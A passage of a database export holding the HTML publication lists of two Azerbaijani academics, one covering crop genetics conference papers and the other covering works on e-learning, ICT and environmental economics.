Studying\r\nof phylogenetic relationship between cultivated and wild grape populations\r\noriginating from Near-Caspian zones of Azerbaijan by microsatellite chloroplast\r\nmarkers. The 7th National Biotechnology Congress of I.R. Iran. 12-14 Sep. 2011,\r\nNiroo Research Institute, Tehran, Iran.</p>\r\n<p>26.\r\nJavid Ojaghi, Samira Salayeva, Monireh Rahimi, Morteza Baraty, Roham Eshghi.\r\n2011. Estimation of genetic diversity structure in hulless barley genotypes\r\nbased on RAPD and ISSRs molecular markers. The 7th National Biotechnology\r\nCongress of I.R. Iran. 12-14 Sep. 2011, Niroo Research Institute, Tehran, Iran.</p>\r\n<p>27.\r\nRoham Eshghi, Javid Ojaghi, Morteza Baraty, Monireh Rahimi, Samira Salayeva.\r\n2011. QTL mapping for yield and its components in barley (Hordeum vulgare L.).\r\nThe 7th National Biotechnology Congress of I.R. Iran. 12-14 Sep. 2011, Niroo\r\nResearch Institute, Tehran, Iran.</p>\r\n<p>28.\r\nRoham Eshghi, Javid Ojaghi, Morteza Baraty, Monireh Rahimi, Samira Salayeva.\r\n2011. QTL mapping for beta-glucan content in barley (Hordeum vulgare L.). The\r\n7th National Biotechnology Congress of I.R. Iran. 12-14 Sep. 2011, Niroo Research\r\nInstitute, Tehran, Iran.</p>\r\n<p>29.\r\nRoham Eshghi, Samira Salayeva, Monireh Rahimi, Morteza Baraty, Javid Ojaghi.\r\n2011. Genetic diversity and geographical differentiation of cultivated barley\r\nlandraces based on storage proteins polymorphism. The 7th National Biotechnology\r\nCongress of I.R. Iran. 12-14 Sep. 2011, Niroo Research Institute, Tehran, Iran.</p>\r\n<p>30.\r\nJavid Ojaghi, Samira Salayeva, Roham Eshghi, Mostafa Valizadeh, Mohammad\r\nZaeifizadeh, Stephane Decroocq. 2010. The evaluation genetic diversity of\r\naborigine grape varieties and its wild relatives belonged to Near-Caspian zone\r\nof Azerbaijan by using SSR markers. 11th Iranian Crop Science Congress,\r\nEnvironmental Sciences Research Institute, Shahid Behesh University, Tehran,\r\n24-26 July.</p>\r\n<p>31.\r\nJavid Ojaghi, Samira Salayeva, Roham Eshghi, Mostafa Valizadeh, Saeed Aharizad.\r\n2010. Genetic analysis of quantitative traits in doubled haploid wheat lines.\r\n11th Iranian Crop Science Congress, Environmental Sciences Research Institute,\r\nShahid Behesh University, Tehran, 24-26 July.</p>\r\n<p>32.\r\nRoham Eshghi, Javid Ojaghi, Samira Salayeva, Mostafa Valizadeh, Saeed Aharizad.\r\n2010. Determination of genetic control of important agronomic traits in hulless\r\nbarley by generation means analysis. 11th Iranian Crop Science Congress,\r\nEnvironmental Sciences Research Institute, Shahid Behesh University, Tehran,\r\n24-26 July.</p>\r\n<p>33.\r\nRoham Eshghi, Javid Ojaghi, Samira Salayeva, Mosfafa Valizadeh, Saeed Aharizad,\r\nHosein Mostafaii. 2010. The study of genetic parameters for yield and its\r\ncomponents in hulless barley using diallel analysis. 11th Iranian Crop Science\r\nCongress, Environmental Sciences Research Institute, Shahid Behesh University,\r\nTehran, 24-26 July.</p>\r\n<p>34.\r\nRoham Eshghi, Javid Ojaghi, Samira Salayeva, Mohammad Zaeifizadeh. 2010.\r\nDetermination of the most appropriate selection indices for improving grain\r\nyield in F2 populations of naked barley. 11th Iranian Crop Science Congress,\r\nEnvironmental Sciences Research Institute, Shahid Behesh University, Tehran,\r\n24-26 July.</p>\r\n<p>35.\r\nJavid Ojaghi, Ellada Akhundova, Hamlet Sadigov, Roham Eshghi. 2009. The\r\nevaluation of genetic diversity in doubled haploid wheat by utilization of\r\nbanding pattern gliadin proteins in A-PAGE method and their relationship with\r\nmorphological traits. The 10th Iranian Congress of Crop Sciences. Karaj, Iran,\r\n18-20 August.</p>\r\n<p>36.\r\nJavid Ojaghi, Mostafa Valizadeh, Mohsen Khodadadi, Roham Eshghi. 2009.\r\nEvaluation of quantitative characters of clones resulted from true potato seed\r\nprogenies. The 10th Iranian Congress of Crop Sciences. Karaj, Iran, 18-20\r\nAugust.</p>\r\n<p>37.\r\nRoham Eshghi, Ellada Akhundova, Hamlet Sadigov, Javid Ojaghi. 2009. Variation\r\nin monomeric prolamins banding pattern and hordein in hulles barley genotypes\r\nand its relationship with agronomic traits. The 10th Iranian congress of crop\r\nsciences. Karaj, Iran, 18-20 August.</p>\r\n<p>38.\r\nEshghi R., Valizadeh M., Aharizad S., Mostafaii H., Ojaghi J. 2009. Study of\r\ngenetic diversity and determination of yield with its components in lentil\r\ngenotypes by path analysis. The 10th Iranian congress of crop sciences. Karaj,\r\nIran, 18-20 August.</p>\r\n<p>39.\r\nEshghi R., Ojaghi J., Khalili H., Zaeifizadeh M. 2009. Study of genetic\r\ndiversity in high yield cultivated potatoes by multiple statistics method. The\r\n10th Iranian congress of crop sciences. Karaj, Iran, 18-20 August.</p>\r\n<div>&nbsp;</div>'),(1969,1202,'az','Javid Ocaghi ','Javid Ocaghi ',''),(1292,827,'az',' Leyla Muradkhanli',' Leyla Muradkhanli','<div><br></div><div> <div style=\"font-size:medium;font-family:\'times new roman\', times, serif\"><table cellspacing=\"0\" cellpadding=\"0\" width=\"638\"><tbody><tr><td width=\"31\"><p style=\"background:undefined \">#</p></td><td width=\"125\"><p style=\"background:undefined \"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Azərbaycanda bərpa olunan enerji mənbələrindən istifadə perspektivləri</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Ekoloji problemlər və ekoloji təhsil Respublika Konfransı</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p><p style=\"background:undefined \"><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p style=\"background:undefined \">Pedaqoji Universitet</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>23-24 Aprel, 2013.<br><br><br></strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Implementation of eLearning in Azerbaijan</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">The 6th International Conference on Application of Information and Communication Technologies</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p><p style=\"background:undefined \"><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p style=\"background:undefined \">AICT 2012,&nbsp; Tbilisi, Georgia</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>17-19 October, 2012<br><br><br><br></strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">The role of Information and Communication Technologies in Education</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">European Neighbourhood Policy and Eastern Partnership: Achievements, Obstacles and Perspectives</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Jean Monnet International Scientific and Practical conference</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>5-7 May, 2011.<br><br><br><br></strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Blended Learning : The Integration of Traditional Learning and eLearning, Application of Information and Communication Technologies</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">AICT 2011 V International Conference, Baku, Azerbaijan<strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>12-14 October, 2011</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;pp.373-376.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Azerbaijan-Turkey Energy Cooperation</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">International Conference on “Azerbaijan-Turkey Cooperation”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2009</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">The Quality Assurance System at Khazar&nbsp; University</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Conference&nbsp; on “Quality&nbsp; Assurance in Higher Education”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2009</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Instructional Design For E-Learning Courses</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">International Conference on “Information Communication Technologies of&nbsp; E-Learning”, Almaty, Kazakhstan.<br><br><strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Economics and Sustainable Development&nbsp;<strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">International Symposium “Natural Cataclysms and Global Problems of the Modern Civilization”,</p><p style=\"background:undefined \">24-27 September, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.699-701.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Oil refinery and environmental damage in Azerbaijan</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Ninth Baku International Congress “Energy, Ecology, Economy”,</p><p style=\"background:undefined \">7-9 June, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2007</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp. 482-484.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Environmental Issues of the Caspian Sea<strong>&nbsp;</strong></p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">The 14th Annual Central Eurasian Studies Conference, Indiana University, Bloomington, USA.<strong>&nbsp;</strong></p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2007</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.53-54.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Expert system for decision-making problem in economics</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p><p style=\"background:undefined \"><strong>A. Alasgarova,</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">International conference on “Knowledge-Dialogue-Solutions”, ITHEA, Sofia, Bolgaria.</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2007</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Economists view of the environment</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">8<sup>th</sup>&nbsp; Baku International Congress “Energy, Ecology, Economy”, Baku.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2005</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">E- Education : Challenges and Opportunities</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Caspian International ICT Conference, 27-28 October, Baku</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2005</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Creation of Distance Education System</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">International Conference “Distance Learning : Problems, and Perspectives of Development”, Almaty</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2005</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>pp.116-118<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Business Applications of Neural Networks</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">International Conference on Application of Information-Communication Technologies in Science and Education, Baku</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2004</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.20-22.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Prospects of Development and Problems of Distance Education in Azerbaijan</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2003</strong></p></td><td width=\"76\"><p style=\"background:undefined \">vol.6, No.1-2. pp.3-13.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Business-To-Business E-Commerce</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2002</strong></p></td><td width=\"76\"><p style=\"background:undefined \">vol.5, No.1-2. pp.3-15.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">The Computer Monitoring System of emergencies at the plants of chemical, petrochemical and oil refining industry</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p style=\"background:undefined \">sixth Baku International Congress “Energy, Ecology, Economy”, Baku, 2002.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2002</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Prospects of Development and Future of E-Commerce<br><br></p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2001</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>vol.4, No.3-4. pp.21-32.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Manual on Introduction to Computer Science</p></td><td width=\"104\"><p style=\"background:undefined \">Book</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p><p style=\"background:undefined \"><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Second edition, Baku, Khazar University Press</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2001</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>pp.156.<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Basic measures on the reconstruction of the oil refinery plant, which provide a condition for improving the ecological situation</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p style=\"background:undefined \">I International&nbsp; Symposium on problems of education and safety of population and territory under the thread of extreme circumstances, November 20-22, Baku</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>2000</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Introduction to Computer Science</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"104\"><p style=\"background:undefined \">Book</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p><p style=\"background:undefined \"><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Baku, Khazar&nbsp; University Press</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.114</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Expert System for Business Applications</p></td><td width=\"104\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p style=\"background:undefined \">3rd International Conference on Interactive Systems :Man-Computer Interaction Problems, September 22-24, Ulyanovsk, Russia</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">The Chaos appearance on the base of analysis of the time series</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Mamedova A.T.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Second International Symposium on mathematical and Computational applications, September 1-3, Baku</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.3.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Decision Support System for Managerial Problems</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined \">№ 3, pp.14-18.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Design of object-oriented data base</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined \">№ 3, pp.48-52.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Анализ и контроль влияния нефтеперерабатывающих предприятий на окружающую среду</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">İnsanların həyat fəaliyyətinin təhlükəsizliyi problemləri və onun tədrisi üzrə mütəxəssislərin II respublika Elmi praktiki konfransı, Bakı, 1999, səh.177-178</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1999</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.177-178.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Suni İntellektin yaradılması üsulları fənnindən məşğələ dərsləri üçün metodik vəsait</p></td><td width=\"104\"><p style=\"background:undefined \">Methodological Guidelines</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Bakı, AzDNA</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1998</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>pp.48.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Объектно-ориентированное представление данных и знаний</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1998, №2, стр. 42-46</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1998</strong></p></td><td width=\"76\"><p style=\"background:undefined \">№ 2, pp.42-46.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">İntellektual sistemlərin proqram vasitələri və dilləri. Laboratoriya işləri</p></td><td width=\"104\"><p style=\"background:undefined \">Methodological Guidelines</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Bakı, AzDNA</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1997</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.32.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Интеллектуальная система для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1997, №1, стр. 139-142</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1997</strong></p></td><td width=\"76\"><p style=\"background:undefined \">№ 1, pp.139-142.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">База знаний динамической экспертной системы для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1996, № 4, стр. 191-196</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1996</strong></p></td><td width=\"76\"><p style=\"background:undefined \">№ 4, pp.191-196.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Application of fuzzy object models for plant control and diagnostic Expert Systems</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Nuriev M.N., Muradkhanova L.G, Sultanova A.B.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Proceedings of ICAFS’96, Second International Conference on Application of Fuzzy Systems and Soft Computing, Siegen, Germany</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1996</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.6-11.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Система принятия плановых решений</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Мурадханова Л.Г., Гардашова Л,А,</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1995, № 4, стр. 192-196</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1995</strong></p></td><td width=\"76\"><p style=\"background:undefined \">№ 4, pp.192-196.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td 